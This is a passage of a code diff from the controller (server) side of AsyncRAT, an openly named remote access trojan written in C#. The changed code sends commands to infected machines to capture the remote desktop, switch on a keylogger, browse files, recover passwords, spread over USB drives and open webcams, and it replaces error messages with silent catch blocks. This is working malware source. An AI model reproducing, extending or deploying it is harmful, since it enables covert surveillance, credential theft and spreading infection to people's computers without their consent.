//msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
//msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginDesktop);
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgpack.ForcePathObject("Command").AsString = "invoke";
|
||||
msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginDesktop.dll"));
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "capture";
|
||||
msgpack.ForcePathObject("Quality").AsInteger = 30;
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
msgpack.ForcePathObject("Host").AsString = client.TcpClient.LocalEndPoint.ToString().Split(':')[0];
|
||||
msgpack.ForcePathObject("Port").AsString = client.TcpClient.LocalEndPoint.ToString().Split(':')[1];
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID];
|
||||
@ -650,11 +650,7 @@ namespace Server
|
||||
}));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
@ -665,9 +661,8 @@ namespace Server
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgpack.ForcePathObject("Command").AsString = "invoke";
|
||||
msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "LimeLogger.dll"));
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
msgpack.ForcePathObject("isON").AsString = "true";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
@ -680,7 +675,8 @@ namespace Server
|
||||
{
|
||||
Name = "keyLogger:" + client.ID,
|
||||
Text = "keyLogger:" + client.ID,
|
||||
F = this
|
||||
F = this,
|
||||
Client = client
|
||||
};
|
||||
KL.Show();
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
@ -711,7 +707,7 @@ namespace Server
|
||||
Name = "chat:" + client.ID,
|
||||
Text = "chat:" + client.ID,
|
||||
F = this,
|
||||
ParentClient = client
|
||||
Client = client
|
||||
};
|
||||
shell.Show();
|
||||
}
|
||||
@ -729,9 +725,8 @@ namespace Server
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgpack.ForcePathObject("Command").AsString = "invoke";
|
||||
msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginFileManager.dll"));
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
@ -745,8 +740,8 @@ namespace Server
|
||||
Name = "fileManager:" + client.ID,
|
||||
Text = "fileManager:" + client.ID,
|
||||
F = this,
|
||||
ParentClient = client,
|
||||
FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "FileManager")
|
||||
Client = client,
|
||||
FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop")
|
||||
};
|
||||
fileManager.Show();
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
@ -755,11 +750,7 @@ namespace Server
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void PasswordRecoveryToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
@ -780,11 +771,7 @@ namespace Server
|
||||
new HandleLogs().Addmsg("Sending Password Recovery..", Color.Black);
|
||||
tabControl1.SelectedIndex = 1;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
@ -849,7 +836,7 @@ namespace Server
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "usb";
|
||||
msgpack.ForcePathObject("Packet").AsString = "usbSpread";
|
||||
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginUsbSpread);
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
@ -859,11 +846,7 @@ namespace Server
|
||||
new HandleLogs().Addmsg("Sending USB Spread..", Color.Black);
|
||||
tabControl1.SelectedIndex = 1;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
@ -1276,9 +1259,8 @@ namespace Server
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgpack.ForcePathObject("Command").AsString = "invoke";
|
||||
msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginCam.dll"));
|
||||
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||
msgpack.ForcePathObject("Command").AsString = "getWebcams";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
@ -1301,11 +1283,7 @@ namespace Server
|
||||
}));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
@ -124,7 +124,7 @@
|
||||
<value>234, 17</value>
|
||||
</metadata>
|
||||
<metadata name="ping.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<value>392, 17</value>
|
||||
<value>386, 21</value>
|
||||
</metadata>
|
||||
<metadata name="UpdateUI.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<value>490, 17</value>
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user